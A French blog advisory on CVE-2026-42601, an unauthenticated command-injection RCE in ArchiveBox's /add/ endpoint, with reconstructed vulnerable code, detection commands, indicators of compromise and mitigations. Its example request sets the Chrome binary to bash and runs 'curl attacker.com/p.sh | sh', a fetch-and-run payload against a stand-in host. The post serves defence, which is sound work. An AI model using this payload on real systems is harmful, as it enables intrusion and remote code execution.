Aller au contenu
Blog

ArchiveBox · RCE · command injection

ArchiveBox CVE-2026-42601 : RCE via /add/ — aucun patch disponible (CVSS 9.8)

ArchiveBox ≤ 0.8.6rc0 : l'endpoint /add/ injecte une config JSON non validée dans les variables d'environnement des plugins. RCE non auth, aucun correctif officiel. Mitigation.

5 min de lectureCVE-2026-42601

ArchiveBox est un outil d'archivage web open-source ultra-populaire dans la communauté des indie hackers, archivistes, et équipes recherche — il sauvegarde des pages web localement avec leurs assets, captures d'écran, PDF, WARC, etc. CVE-2026-42601 (CVSS 9.8) révèle une vulnérabilité critique dans son endpoint /add/ : un champ JSON config envoyé par l'utilisateur est mergé dans la configuration de crawl sans validation, puis exporté comme variables d'environnement aux plugins d'archivage. Résultat : injection d'arguments arbitraires et exécution de code à distance.

Le détail qui fait mal : aucun patch officiel n'est disponible à ce jour. Toutes les versions ≤ 0.8.6rc0 sont vulnérables, et l'unique mitigation viable consiste à isoler ou retirer le service jusqu'à publication d'un correctif.


Détails techniques

Composant vulnérable

ArchiveBox expose une interface web pour ajouter de nouvelles URLs à archiver. L'endpoint /add/ (vue AddView dans core/views.py) accepte un champ JSON config qui devait initialement permettre à un admin de personnaliser le crawl par URL (timeout, user-agent, etc.).

Le problème : ce JSON est mergé directement dans la configuration globale sans aucune sanitization. Puis, quand les plugins d'archivage s'exécutent (wget, youtube-dl, chrome --headless, singlefile, etc.), la config résultante est exportée comme variables d'environnement au processus enfant.

Le chemin d'exploitation

# Pseudo-code reconstitué — pattern vulnérable
def AddView(request):
    url = request.POST.get("url")
    user_config = json.loads(request.POST.get("config", "{}"))
    
    crawl_config = {**DEFAULT_CONFIG, **user_config}  # ⚠️ merge non validé
    
    for plugin in plugins:
        env = {k.upper(): str(v) for k, v in crawl_config.items()}  # ⚠️ tous les keys deviennent env vars
        subprocess.run([plugin.command, url], env=env)

Un attaquant envoie un POST :

{
  "url": "https://example.com",
  "config": {
    "CHROME_BINARY": "/usr/bin/bash",
    "CHROME_ARGS": "-c 'curl attacker.com/p.sh | sh'"
  }
}

Le plugin Chrome reçoit ces variables comme env, et au lieu de lancer le navigateur, lance bash avec le payload.

Caractéristiques

ChampValeur
CVSS 3.19.8 (CRITICAL)
VecteurAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-78 (OS Command Injection) + CWE-454 (External Initialization of Trusted Variables)
AuthentificationAucune par défaut sur les déploiements publics
État du correctif❌ Aucun patch officiel disponible

Produits et versions affectés

ProduitVersions affectéesVersion corrigée
ArchiveBox≤ 0.8.6rc0 (toutes versions actuelles)❌ Aucune

Vérifie ta version :

# Docker
docker exec archivebox archivebox version

# Pip
pip show archivebox | grep Version

Exploitation et impact

Surface d'exposition réelle

Beaucoup d'instances ArchiveBox sont exposées publiquement sans authentification :

  • Personal hosting d'archivistes amateurs
  • Bibliothèques universitaires utilisant ArchiveBox comme "Wayback Machine" privée
  • Plateformes communautaires (mémoire web, journalisme citoyen)

Une recherche Shodan/Censys montre régulièrement plusieurs milliers d'instances accessibles. Toutes sont immédiatement exploitables.

Impact post-exploitation

  • RCE dans le conteneur/container ArchiveBox : accès au filesystem, aux archives stockées
  • Vol de données archivées : pour des contenus journalistiques ou de recherche, ça peut inclure des sources sensibles, des leaks documentés
  • Pivot LAN : ArchiveBox tourne souvent sur un homelab ou un VPS partagé
  • Recrutement botnet / cryptomining : les ressources CPU sont substantielles vu les processus de crawl

Public exploit

Aucun PoC public détaillé à ce jour, mais l'exploit est trivial vu la description publique. Compte 24-48h avant les premiers scanners automatisés.


Détection et IOC

Logs ArchiveBox

# Recherche d'appels /add/ avec un body JSON config non standard
grep -E "POST /add" /var/log/archivebox/access.log | \
  grep -E "config.*CHROME|config.*BINARY|config.*PATH"

Logs système

# Processus lancés par ArchiveBox avec des binaires inattendus
ps -ef | grep -i "archivebox" | grep -vE "wget|chrome|python|node"

# Variables d'environnement injectées de façon louche
# (inspecte les processus enfants via /proc)
for pid in $(pgrep -P $(pgrep archivebox)); do
  cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE "binary|command|args"
done

Indicateurs de compromission

  • Connexions sortantes inattendues depuis le conteneur/host ArchiveBox
  • Fichiers binaires ajoutés dans /tmp, /var/tmp, /dev/shm
  • Modifications de crontab ou systemd services
  • Trafic réseau anormal vers des destinations non-archivées

Mitigation — sans patch officiel

Option 1 — Isolation réseau immédiate

Si ton instance ArchiveBox est exposée sur Internet :

# Bloquer toute requête HTTP entrante hors du LAN
sudo ufw deny in 8000/tcp
sudo ufw allow from 192.168.1.0/24 to any port 8000

# Ou via Docker
# Modifier docker-compose pour binder uniquement sur 127.0.0.1
ports:
  - "127.0.0.1:8000:8000"

Puis recharge :

docker compose up -d

Option 2 — Authentification obligatoire

ArchiveBox supporte une authentification basique. Vérifie qu'elle est activée :

# Configuration ArchiveBox
archivebox config --set PUBLIC_INDEX=False
archivebox config --set PUBLIC_ADD_VIEW=False
archivebox config --set REQUIRE_LOGIN=True

Puis crée un compte admin si pas déjà fait :

archivebox manage createsuperuser

⚠️ Cette mitigation est partielle : un attaquant qui devine ou phish un compte admin peut toujours exploiter.

Option 3 — Reverse proxy avec WAF

Si tu maintiens une exposition publique (cas peu recommandé), mets un Nginx + ModSecurity devant :

location /add/ {
    # Bloque les requêtes contenant des patterns suspects dans le body JSON
    if ($request_body ~ "(_BINARY|_COMMAND|_ARGS|PATH|/bin/|/usr/bin/)") {
        return 403;
    }
    proxy_pass http://archivebox:8000;
}

Option 4 — Retrait pur et simple

Pour les instances de production avec données sensibles : éteindre le service jusqu'à publication d'un patch officiel par l'équipe ArchiveBox. C'est dur mais c'est la seule option qui élimine totalement le risque.

docker compose stop archivebox

Surveillance proactive

Abonne-toi au repo GitHub ArchiveBox pour être notifié dès qu'un patch est publié :

https://github.com/ArchiveBox/ArchiveBox/releases

Pourquoi surveiller en continu votre selfhosted

Les outils self-hosted (ArchiveBox, Vaultwarden, Bitwarden CE, Jellyfin, Nextcloud, Gitea…) sont massivement déployés dans les homelabs et les PME, souvent sans visibilité de sécurité. Une CVE comme CVE-2026-42601 — sans patch, sans communication large, sans CISA KEV — peut passer inaperçue plusieurs semaines tout en étant exploitable triviallement.

Avec cveo.tech, inventoriez vos services self-hosted comme vos systèmes core et recevez un email automatique dès qu'une CVE critique vise une de vos versions exactes — même quand l'éditeur ne communique pas, votre veille est à jour.

Chaque lundi

Les CVE critiques de la semaine, dans votre boîte mail

Un email par semaine : les vulnérabilités CVSS ≥ 9 publiées ces sept derniers jours, et nos dernières analyses. Rien d'autre.

Double confirmation par email. Désinscription en un clic, à tout moment.

Surveillez votre propre parc

Recherche CVE, inventaire de parc et alertes email, gratuitement.